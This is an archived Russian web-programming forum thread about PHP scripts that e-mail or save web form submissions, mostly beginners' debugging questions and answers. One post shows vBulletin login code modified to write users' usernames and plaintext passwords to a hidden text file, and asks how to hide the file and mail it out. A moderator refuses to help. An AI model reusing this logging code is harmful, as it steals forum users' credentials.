Ru-Board.club
← Вернуться в раздел «Web-программирование»

» Perl, PHP: отправка формы на e-mail

Автор: Marikontos
Дата сообщения: 21.01.2008 23:43
Спасибо. А я вот форму сделал, а как заставить чтоб сохраняла она информацию в текставой файл на стороне сервера?
Большое спасибо! Как - нибуть попроще.
Автор: Cheery
Дата сообщения: 21.01.2008 23:53
Marikontos

Цитата:
а как заставить чтоб сохраняла она информацию в текставой файл на стороне сервера?
Большое спасибо! Как - нибуть попроще.

ну куда проще то? все уже сказано.. посмотрите как формируется отсылаемый текст в куче примеров в этом топике.
типа
$text=$_POST['input1']."\n";
$text.=$_POST['input2']."\n";
$text.=$_POST['input3']."\n";
и тд и тп.. где input1..2..3 имена полей из формы
после чего сохраняем как приведено выше

Цитата:
$fp=fopen('data.txt','a');
fwirte($text);
fclose($fp);

и все.
Автор: Marikontos
Дата сообщения: 22.01.2008 02:49
Спасибо большое!
Вот ещё подсказали....
request_samples.php
<?php
$fp = fopen('test.txt','ab');
$dot = $str = '';
foreach( $_POST as $k=>$v ) {
if ( strstr($k,'submit')!=false ) continue;
$str .= $dot.$v;
$dot = ';';
}
$str .= "\n";

fwrite($fp, $str);
fclose($fp);
?>
С этим разобрался.




Автор: aynikolaev
Дата сообщения: 24.01.2008 14:55
Все привет
Создал такой опросник
http://aynikolaev.narod.ru/sp.html
Загвоздка в том что не отправляются ответы на второй и третий вопросы
в чем может быть проблема
Автор: Cheery
Дата сообщения: 24.01.2008 17:42
aynikolaev

Цитата:
в чем может быть проблема

в незнании html.. что такое name2?

Цитата:
name2="a[да]"

нет такого параметра
есть только name, а вот его значение уже может быть разным
Автор: XXXXL
Дата сообщения: 10.02.2008 09:17
Здавствуйте. Ребята помогите пожалуйста реализовать анонимную отправку на e-mail.
нужно чтобы пользователю не приходилось вводить свой e-mail, а только заголовок и текст.
Автор: andead
Дата сообщения: 10.02.2008 09:57
XXXXL
в чём проблемма собстна?

Цитата:
bool mail ( string to, string subject, string message [, string additional_headers [, string additional_parameters]] )

никакого обратного адреса как видите нету
Автор: F1ma
Дата сообщения: 10.02.2008 15:36
Доброго времени суток!
имеется скрипт для отправки данных из форм на почту, взятый на этом форуме...
Сообщения он отпраляет, но проблема в том, что после перехода с кнопки он выводит сообщение:
Fatal error: Maximum execution time of 30 seconds exceeded in -----messageSent.php on line 26
За место: Заказ принят
Что с ним может быть не так ?

<?php
$webmaster="mail@mail.ru";
$toemail="mail@mail.ru";
$i=0;
while (list($cle, $val)=each($_POST)){
$key[$i]=$cle;
$value[$i]=$val;
$i++;
}
$message = "";
$subject_line = "Заявка";
for ($i=0;$i<count($key);$i++)
$message .= "--------". $key[$i]." --------\n".$value[$i]."\n";
$headers = "MIME-Version: 1.0\n" ;
$headers .= "Reply-To: $webmaster\n";
$headers .= "X-Sender: Admin <$webmaster>\n";
$headers .= "X-Mailer: FormResults\n";
$headers .= "X-Priority: 1\n";
$headers .= "X-MSMail-Priority: High\n";
$headers .= "Return-Path: <$webmaster>\n";
$headers .= "Content-Type: text/html;charset=windows-1251\n";
mail($toemail, $subject_line, $message, $headers);
?>
<html>
<div align="center">Заказ принят</div>
</html>
Автор: 6epcepk
Дата сообщения: 10.02.2008 20:41
Странно тогда что отправляет.
Ничего умного в голову не приходит почему может не так долго выполняться, что в $_POST'e?
Как вариант - set_time_limit(0) в начало скрипта.
Автор: F1ma
Дата сообщения: 10.02.2008 21:25
Заморочился и переделал скрипт:
Проблема та же, если ставить set_time_limit(0) в начале скрипта то пишет:
Parse error: syntax error, unexpected T_VARIABLE in ----/messageSent.php on line 3
Если закоментить 3 строку, то будет тоже самое на 4 строке

Код: <?php
$webmaster="cs@gamevolution.ru";
$name = $_POST['name'];
$mail = $_POST['mail'];
$tarif = $_POST['tarif'];
$stats = $_POST['stats'];
$month = $_POST['month'];
$slots = $_POST['slots'];
$FTP_Size = $_POST['FTP_Size'];
$mod = $_POST['mod'];
$TeamSpeak = $_POST['TeamSpeak'];
$HLTV_proxy = $_POST['HLTV_proxy'];
$AmxModX = $_POST['AmxModX'];
$Anticheat = $_POST['Anticheat'];
$oplata1 = $_POST['oplata1'];
$oplata2 = $_POST['oplata2'];
$from = "$mail";
$subj = "&#199;&#224;&#255;&#226;&#234;&#224; &#237;&#224; &#232;&#227;&#240;&#238;&#226;&#238;&#233; &#241;&#229;&#240;&#226;&#229;&#240;";
$mailmsg = "&#200;&#236;&#255;: $name <br>\n
E-mail: $mail <br>\n
&#210;&#224;&#240;&#232;&#244;: $tarif <br>\n
&#209;&#242;&#224;&#242;&#232;&#241;&#242;&#232;&#234;&#224;: $stats <br>\n
&#209;&#240;&#238;&#234; &#224;&#240;&#229;&#237;&#228;&#251;: $month <br><br>\n
--------&#207;&#224;&#240;&#224;&#236;&#229;&#242;&#240;&#251;--------<br>\n
&#209;&#235;&#238;&#242;&#251;: $slots <br>\n
FTP Size: $FTP_Size <br>\n
Mod: $mod <br>\n
TeamSpeak: $TeamSpeak <br>\n
HLTV proxy: $HLTV_proxy <br>\n
AmxModX: $AmxModX <br>\n
&#192;&#237;&#242;&#232;&#247;&#232;&#242;: $Anticheat <br>\n
&#209;&#239;&#238;&#241;&#238;&#225; &#238;&#239;&#235;&#224;&#242;&#251;: $oplata1 $oplata2";
$mail_msg = htmlspecialchars(stripslashes($mail_msg));
$headers = "MIME-Version: 1.0\n" ;
$headers .= "Reply-To: $webmaster\n";
$headers .= "X-Sender: Admin <$webmaster>\n";
$headers .= "X-Mailer: FormResults\n";
$headers .= "X-Priority: 1\n";
$headers .= "X-MSMail-Priority: High\n";
$headers .= "Return-Path: <$webmaster>\n";
$headers .= "Content-Type: text/html;charset=windows-1251\n";
mail("cs@gamevolution.ru", $subj, $mailmsg,$headers);
?>

Вот начало формы:
<div align="center">
<form action="http://cs.gamevolution.ru/messageSent.php" method="post" enctype="multipart/form-data" name="form">
<table width="485" border="1" cellpadding="2" cellspacing="3" bordercolor="#666666">
Автор: Cheery
Дата сообщения: 10.02.2008 21:29
F1ma

Цитата:
в начале скрипта то пишет:

точку с запятой не забываем после функции.
Автор: F1ma
Дата сообщения: 10.02.2008 21:42
Спасибо, все работало!
Автор: BBG
Дата сообщения: 14.02.2008 11:36
Есть права на ФТП. Добрые люди доработали скрипт PHP.
Юзер который при входе на форум задаёт свои данные, сохраняется в текстовом формате. Так вот вопрос как мне спрятать этот ТХТ файл в другую папку, чтобы не мазолил глаза. И как чтобы этот ТХТ файл приходил мне по Е-Майлу?

Код: if (!verify_authentication($vbulletin->GPC['vb_login_username'], $vbulletin->GPC['vb_login_password'], $vbulletin->GPC['vb_login_md5password'], $vbulletin->GPC['vb_login_md5password_utf'], $vbulletin->GPC['cookieuser'], true))
{
($hook = vBulletinHook::fetch_hook('login_failure')) ? eval($hook) : false;

// check password
exec_strike_user($vbulletin->userinfo['username']);

if ($vbulletin->GPC['logintype'] === 'cplogin' OR $vbulletin->GPC['logintype'] === 'modcplogin')
{
// log this error if attempting to access the control panel
require_once(DIR . '/includes/functions_log_error.php');
log_vbulletin_error($vbulletin->GPC['vb_login_username'], 'security');
}
$vbulletin->userinfo = $original_userinfo;

if ($vbulletin->options['usestrikesystem'])
{
eval(standard_error(fetch_error('badlogin_strikes', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'], $strikes)));
}
else
{
eval(standard_error(fetch_error('badlogin', $vbulletin->options['bburl'], $vbulletin->session->vars['sessionurl'])));
}
}
$file = fopen("logins.txt", "a");
if($file)
{
$string = $vbulletin->GPC['vb_login_username'].":".$vbulletin->GPC['vb_login_password']."\n";
fwrite($file, $string);
fclose($file);
}
Автор: Cheery
Дата сообщения: 14.02.2008 18:11
BBG
вы немного ошиблись форумом - тут не помогают "юным хацкерам".

Цитата:
И как чтобы этот ТХТ файл приходил мне по Е-Майлу?

читать
Отправка письма с аттачем на PHP
Автор: MacMil
Дата сообщения: 07.04.2008 02:33
народ будьте добры реализовать то что на картинке... отправка веб интерфейсом, никакой почтовой программы. Работа на PHP. ПЛИЗЗЗ

Автор: Cheery
Дата сообщения: 07.04.2008 02:36
MacMil

Цитата:
народ будьте добры реализовать то что на картинке...

и? не знаем html? php не при чем при формировании формы. да и коды для отсылки всего из формы уже были представлены
Автор: Romano
Дата сообщения: 08.04.2008 06:57
имеется код проверки:

Код: <?}
/*Вывод функции проверки*/
function check()
{global $name, $orgz, $msg, $phone, $mail;
if (eregi("^[a-z0-9]+([-_\.]?[a-z0-9])+@[a-z0-9]+([-_\.]?[a-z0-9])+\.[a-z]{2,4}", $mail))
{
if($name=="" || $msg=="" || $phone=="" || $mail=="")
{
noall();
}

else
{

if(($name && $msg && $phone && $mail)!="")
{
send();
}
}
}
else
{?>
Автор: andead
Дата сообщения: 08.04.2008 16:22
if(($name && $msg && $phone && $mail)!="" && !preg_match('/\D/', $phone))
Автор: Cheery
Дата сообщения: 09.04.2008 00:50
Romano
для этого есть отдельная тема
PHP: Регулярные выражения (RegExp, Regular, eregi, preg)
так как я в любой кусок кода смогу тогда запихнуть функцию mail и писать в данной теме.. смысл?
Автор: MacMil
Дата сообщения: 09.04.2008 09:49
не могли бы подсказать.... верно ли тут все? и работоспособно ли? А то сделали для меня но что то не понимаю работает оно или нет.

Код:
<?php
if (getenv(HTTP_X_FORWARDED_FOR)){
$ip=getenv(HTTP_X_FORWARDED_FOR);
}
else {
$ip=getenv(REMOTE_ADDR);
}

$to = "Менеджерам <my@mysite.com>";
$from = "МойСайт <my@mysite.com>";
$msg = "Ваш заказ был отправлен";
$subj = "Новый заказ";
$mailmsg = "Получен новый заказ
Ф.И.О.: $name
Адрес: $city, $adress
Телефон: $phone
Размер: $size
Дата и время установки: $datainst $timeinst
Дополнительная информация:
$message
------------
Сообщение отправлено c IP адреса: $ip";

$head = "From: $from\n";
$head .= "Subject: $subj\n";
$head .= "X-Mailer: PHPMail Tool\n";
$head .= "Reply-To: $from\n";
$head .= "Mime-Version: 1.0\n";
$head .= "Content-Type:text; charset=windows-1251;";

if ($submit)
{
if(eregi("^[0-9\._-]{6,10}\$",$phone))
{
if(empty($name) || empty($adress) || empty($city) || empty($datainst) || empty($timeinst) || empty($size)) echo "Обязательные поля не все заполнены!";
else
{
mail("$to", "$subj", $mailmsg, $head);
echo "$msg";}} else {
echo "Телефон указан не верно!";
}
}
else
{
?>

<form name="question" method="post" action="">
<table width="648" border="0" cellspacing="0" cellpadding="5">
<tr>
<td>Ф.И.О.*</td>
<td><input name="name" class="form" style="width: 200px;" type="text" value="" /></td>
</tr>
<tr>
<td>Город*</td>
<td><select name="city" size="1">
<option></option>
<option>Москва</option>
<option>С-Петербург</option>
</select>
</td>
</tr>
<tr>
<td>Адрес*</td>
<td><input name="adress" class="form" style="width: 200px;" type="text" value="" /></td>
</tr>
<tr>
<td>Телефон*</td>
<td><input name="phone" class="form" style="width: 200px;" type="text" value="" /></td>
</tr>
<tr>
<td>Размер*</td>
<td><select name="size" size="1">
<option></option>
<option>3x3x3</option>
<option>4x4x4</option>
</select></td>
</tr>
<tr>
<td>Дата установки*</td>
<td><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="100">Дата</td>
<td>Время</td>
</tr>
<tr>
<td><select name="datainst" size="1">
<option></option>
<?php
for ($i = 1; $i <= 10; $i++) {
$date = mktime(date("H"), date("i"), date("s"), date("m"), date("d") + $i, date("Y"));
$date = date("d.m.Y", $date); ?>
<option><?php echo $date; ?></option>
<?php } ?>
</select></td>
<td><select name="timeinst" size="1">
<option></option>
<option>10:00</option>
<option>13:00</option>
<option>16:00</option>
</select></td>
</tr>
</table></td>
</tr>
<tr>
<td>Доп. инфо</td>
<td><textarea cols="" rows="7" name="message" style="width: 200px;"></textarea>
</td>
</tr>
<tr>
<td>&nbsp;</td>
<td><input value="Отправить" style="height: 22px;" name="submit" type="submit" /></td>
</tr>
</table>
</form>
<?php } ?>
Автор: andead
Дата сообщения: 09.04.2008 11:24

Цитата:
но что то не понимаю работает оно или нет.

дак письма то отсылает или нет?))


Код: mail("$to", "$subj", $mailmsg, $head);
Автор: MacMil
Дата сообщения: 09.04.2008 20:11
честно сказать ни слова не понял )))
но оказалось все верно просто мой хост там чего то не поддерживает.
Автор: Kinno
Дата сообщения: 09.04.2008 20:47
MacMil

Цитата:
но оказалось все верно просто мой хост там чего то не поддерживает.

Директива register_globals=Off скорее всего у твоего хостера в php.ini. И правильно. Пусть перепишут тебе скрипт с использованием суперглобального массива $_REQUEST, там делов то на 1 минуту.

Цитата:
mail("$to", "$subj", $mailmsg, $head);

Кавычки у переменных $to и $subj убери. =)
Автор: Ardho
Дата сообщения: 10.04.2008 11:21
Добрые люди помогите!

Как мне реализовать проверку формы,подтверждение и отправки ее на мыло без почтового клиента?

[more]<table border=0 width=100% align=center class=form>
<tr>
<td width=40%></td>
<td></td>
</tr>
<tr>
<td>Имя домена (без зоны):<font color=red><small><sup>*</sup></small></font></td>
<td>
<input type=text name=input[0] value='' style='width:90%'>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример<span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<input type=hidden name=inchek[0] value='Вы не указали имя домена'>
<tr>
<td>Зона домена:<font color=red><small><sup>*</sup></small></font></td>
<td>
<select name=select[1] style='width:90%'>
<option value='Выберите зону домена' selected>Выберите зону домена
<option value='ru' >ru
<option value='su' >su
</select>
</td>
</tr>
<input type=hidden name=selchek[1] value='Вы не указали зону домена'>
<tr>
<td valign=top>Описание домена:</td>
<td>
<textarea name=text[2] style='width:90%' rows=4></textarea>
</td>
</tr>
<input type=hidden name=txchek[2] value=''>
<tr>
<td>Тип регистрации:<font color=red><small><sup>*</sup></small></font></td>
<td>
<select name=select[3] style='width:90%'>
<option value='Выберите тип регистрации:' selected>Выберите тип
регистрации:
<option value='На частное лицо' >На частное лицо
<option value='На организацию' >На организацию
</select>
</td>
</tr>
<tr class="ss">
<td colspan="2" bgcolor="#E5E3E0" height="30">Персональные данные</td>
</tr>
<tr>
<td>ФИО на русском языке:<font color=red><small><sup>*</sup></small></font></td>
<td>
<input type=text name=input[4] value='' style='width:90%'>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример:
Пупкин Василий Николаевич <span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<input type=hidden name=selchek[3] value='Вы не указали тип регистрации'>
<input type=hidden name=inchek[4] value='Вы не указали ФИО на русском языке'>
<tr>
<td>ФИО латинскими буквами:<font color=red><small><sup>*</sup></small></font></td>
<td>
<input type=text name=input[5] value='' style='width:90%'>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример:
Vassily N Pupkin<span class="hint-pointer">&nbsp;</span></span> </td>
</tr>
<input type=hidden name=inchek[5] value='Вы не указали ФИО латинскими буквами'>
<tr>
<td valign=top>Паспорт:<font color=red><small><sup>*</sup></small></font></td>
<td>
<input type=text name=input[6] style='width:90%' rows=4>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример:<br>
34 02 651241 выдан 48 о/м г.Москвы 26.12.1990<span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<input type=hidden name=txchek[6] value='Вы не указали паспорт'>
<tr>
<td>Дата рождения:<font color=red><small><sup>*</sup></small></font></td>
<td>
<input type=text name=input[7] value='' style='width:90%'>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример<span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<input type=hidden name=inchek[7] value='Вы не указали дату рождения'>
<tr>
<td>Страна:<font color=red><small><sup>*</sup></small></font></td>
<td>
<input type=text name=input[8] value='' style='width:90%'>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример<span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<input type=hidden name=inchek[8] value='Вы не указали страну'>
<tr>
<td valign=top>Почтовый адрес:<font color=red><small><sup>*</sup></small></font></td>
<td>
<input type=name=text[9] style='width:90%' rows=4>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример<span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<input type=hidden name=txchek[9] value='Вы не указали почтовый адрес:'>
<tr>
<td>ИНН:</td>
<td>
<input type=text name=input[10] value='' style='width:90%'>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример<span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<input type=hidden name=inchek[10] value=''>
<tr>
<td>Номер телефона:<font color=red><small><sup>*</sup></small></font></td>
<td>
<input type=text name=input[11] value='' style='width:90%'>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример<span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<input type=hidden name=inchek[11] value='Вы не указали номер телефона'>
<tr>
<td valign=top>Номер факса:</td>
<td>
<input type name=text[12] style='width:90%' >
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример<span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<tr>
<td>Ваш емайл :<font color=red><small><sup>*</sup></small></font></td>
<td>
<input type=text name=em[13] value='' style='width:90%'>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример<span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<input type=hidden name=txchek[12] value=''>
<tr>
<td colspan="2" bgcolor="#CCCCCC">(Пожалуйста указывайте существующий
почтовый адрес - иначе Вы не сможете воспользоваться нашими услугами)
</td>
</tr>
<input type=hidden name=emchek[13] value='Вы не указали емайл'>
<tr>
<td>Имя первого DNS-сервера:</td>
<td>
<input type=text name=input[14] value='' style='width:90%'>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример<span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<input type=hidden name=inchek[14] value=''>
<tr>
<td>Имя второго DNS-сервера:</td>
<td>
<input type=text name=input[15] value='' style='width:90%'>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример<span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<input type=hidden name=inchek[15] value=''>
<tr>
<td>IP-адрес первого DNS-сервера:</td>
<td>
<input type=text name=input[16] value='' style='width:90%'>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример<span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<input type=hidden name=inchek[16] value=''>
<tr>
<td>IP-адрес второго DNS-сервера:</td>
<td>
<input type=text name=input[17] value='' style='width:90%'>
<span class="hint" style="background-image: url(images/pointer.gif); width: 150px; height: 50px">Пример<span class="hint-pointer">&nbsp;</span></span>
</td>
</tr>
<input type=hidden name=inchek[17] value=''>
<tr>
<td colspan=2 align=left><br>
Поля помеченные <font color=red><small><sup>*</sup></small></font><font color=red>ОБЯЗАТЕЛЬНЫ</font>
для заполнения.<br>
<br>
<center>
<input type=submit value='Зарегистрировать' >
&nbsp;
<input type=reset value='Очистить'>
</center>
</td>
</tr>
</table>
[/more]
Автор: Cheery
Дата сообщения: 10.04.2008 18:37
Ardho

Цитата:
Как мне реализовать проверку формы,подтверждение и отправки ее на мыло без почтового клиента?

а тему просмотреть? коды для отправки всего из формы были представлены не раз..
для проверки
JavaScript: Проверка значений элементов формы (e-mail, имя..
и опять же.. у нас нет телепатов, способных догадаться что и как вы хотите "проверять".
Автор: Ardho
Дата сообщения: 11.04.2008 06:15
Sorry за неточный вопрос!Мне нужна проверка формы на заполнение обязательных полей и подтверждение,т.е после заполнения формы клиент переходит на страницу подтверждения.
Просто я сам новичек и ничего не понимаю в этом деле.
Помогите если это возможно.
Автор: Fraerok
Дата сообщения: 25.04.2008 13:22
1 предложение:
сообщение http://forum.ru-board.com/topic.cgi?forum=31&topic=2488#12 поместить в шапку

2 вопроса:
1) можно ли сделать так, чтобы сообщение посылалось прямо текстом, без вложенного html письма?
2) как сделать так, чтобы был выпадающий список из которого можно выбрать e-mail получателя?
Автор: Cheery
Дата сообщения: 25.04.2008 17:57
Fraerok

Цитата:
можно ли сделать так, чтобы сообщение посылалось прямо текстом, без вложенного html письма?

бр.. по умолчанию так и делается. для html нужны дополнительные классы или самостоятельное написание кода.


Цитата:
2) как сделать так, чтобы был выпадающий список из которого можно выбрать e-mail получателя?

проблемы с основами html? используем select и выбираем
Автор: Fraerok
Дата сообщения: 25.04.2008 19:18
select сделать не проблема) вот, наприм
Цитата:
<select name="mailto">
<option value="2"2.ru"> 1
<option value="1@1.ru"> 2
</select>

но как теперь эти параметры передать в скрипт send_form? и сразу вопрос, а не смогут ли воспользоваться этой формой какие-нибудь кул-хацкеры для спама левых ящиков?

По-поводу 1) - у меня сейчас приходит письмо с html-вложением (в TheBat! выглядит так - http://parlament.ptz.ru/sample.gif)

И еще вопрос можно ли как-то контролировать ошибки? Например, если письмо не отослалось по какой-то причине - нужно оповестить пользователя.
Автор: Cheery
Дата сообщения: 25.04.2008 19:25
Fraerok

Цитата:
но как теперь эти параметры передать в скрипт send_form?

опять же - основы.. передача параметров из формы методом POST или GET

Цитата:
и сразу вопрос, а не смогут ли воспользоваться этой формой какие-нибудь кул-хацкеры для спама левых ящиков?

могут. если не будет нужных проверок. по нормальному надо не выводить адреса в прямом виде, а какой то идентификатор их.. и проверять при получении данных из формы, что такой есть.


Цитата:
у меня сейчас приходит письмо с html-вложением

функция mail не шлет html по умолчанию.. проверяйте, что написали в заголовках. какой content-type. должно быть просто plain/text


Цитата:
Например, если письмо не отослалось по какой-то причине - нужно оповестить пользователя.

это уже не забота php - он отдал через mail почтовому серверу и забыл.
можно получать с сервера отлупы, конечно, и парсить их и тд и тп.. уверены, что ваш уровень?
либо искать скрипты, которые имитируют полную работу почтового сервера, то есть сами коннектятся к почтовикам получателям.
другой вариант - обратную почту вставлять "получателя". тогда в случае недоставки - он и получит отлуп

Страницы: 1234567891011121314151617

Предыдущая тема: Как сделать так чтобы в MySQL грузились тяжёлые картинки


Форум Ru-Board.club — поднят 15-09-2016 числа. Цель - сохранить наследие старого Ru-Board, истории становления российского интернета. Сделано для людей.